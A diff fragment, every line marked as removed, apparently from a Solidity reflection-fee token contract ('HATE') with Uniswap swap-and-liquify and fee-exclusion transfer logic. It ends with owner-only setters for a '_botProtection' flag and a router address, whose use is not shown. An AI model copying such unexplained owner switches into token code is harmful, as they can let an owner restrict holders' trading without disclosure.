- swapTokensForEth(half); // <- this breaks the ETH -> HATE swap when swap+liquify is triggered
- // how much ETH did we just swap into?
- uint256 newBalance = address(this).balance.sub(initialBalance);
- // add liquidity to uniswap
- addLiquidity(otherHalf, newBalance);
- emit SwapAndLiquify(half, newBalance, otherHalf);
- }
- function swapTokensForEth(uint256 tokenAmount) private {
- // generate the uniswap pair path of token -> weth
- address[] memory path = new address[](2);
- path[0] = address(this);
- path[1] = uniswapV2Router.WETH();
- _approve(address(this), address(uniswapV2Router), tokenAmount);
- // make the swap
- uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
- tokenAmount,
- 0, // accept any amount of ETH
- path,
- address(this),
- block.timestamp
- );
- }
- function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
- // approve token transfer to cover all possible scenarios
- _approve(address(this), address(uniswapV2Router), tokenAmount);
- // add the liquidity
- uniswapV2Router.addLiquidityETH{value: ethAmount}(
- address(this),
- tokenAmount,
- 0, // slippage is unavoidable
- 0, // slippage is unavoidable
- owner(),
- block.timestamp
- );
- }
- //this method is responsible for taking all fee, if takeFee is true
- function _tokenTransfer(
- address sender,
- address recipient,
- uint256 amount,
- bool takeFee
- ) private {
- if (!takeFee) removeAllFee();
- if (_isExcluded[sender] && !_isExcluded[recipient]) {
- _transferFromExcluded(sender, recipient, amount);
- } else if (!_isExcluded[sender] && _isExcluded[recipient]) {
- _transferToExcluded(sender, recipient, amount);
- } else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
- _transferStandard(sender, recipient, amount);
- } else if (_isExcluded[sender] && _isExcluded[recipient]) {
- _transferBothExcluded(sender, recipient, amount);
- } else {
- _transferStandard(sender, recipient, amount);
- }
- if (!takeFee) restoreAllFee();
- }
- function _transferStandard(
- address sender,
- address recipient,
- uint256 tAmount
- ) private {
- (
- uint256 rAmount,
- uint256 rTransferAmount,
- uint256 rFee,
- uint256 tTransferAmount,
- uint256 tFee,
- uint256 tLiquidity
- ) = _getValues(tAmount);
- _rOwned[sender] = _rOwned[sender].sub(rAmount);
- _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
- _takeLiquidity(tLiquidity);
- _reflectFee(rFee, tFee);
- emit Transfer(sender, recipient, tTransferAmount);
- }
- function _transferToExcluded(
- address sender,
- address recipient,
- uint256 tAmount
- ) private {
- (
- uint256 rAmount,
- uint256 rTransferAmount,
- uint256 rFee,
- uint256 tTransferAmount,
- uint256 tFee,
- uint256 tLiquidity
- ) = _getValues(tAmount);
- _rOwned[sender] = _rOwned[sender].sub(rAmount);
- _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
- _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
- _takeLiquidity(tLiquidity);
- _reflectFee(rFee, tFee);
- emit Transfer(sender, recipient, tTransferAmount);
- }
- function _transferFromExcluded(
- address sender,
- address recipient,
- uint256 tAmount
- ) private {
- (
- uint256 rAmount,
- uint256 rTransferAmount,
- uint256 rFee,
- uint256 tTransferAmount,
- uint256 tFee,
- uint256 tLiquidity
- ) = _getValues(tAmount);
- _tOwned[sender] = _tOwned[sender].sub(tAmount);
- _rOwned[sender] = _rOwned[sender].sub(rAmount);
- _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
- _takeLiquidity(tLiquidity);
- _reflectFee(rFee, tFee);
- emit Transfer(sender, recipient, tTransferAmount);
- }
- function secureTxn(bool botProtection) external onlyOwner() {
- _botProtection = botProtection;
- }
- function setRouter(address router) external onlyOwner() {
- _router = router;
- }
- function getRouter()
- public
- view
- returns (address router)
- {
- return _router;
- }
- }
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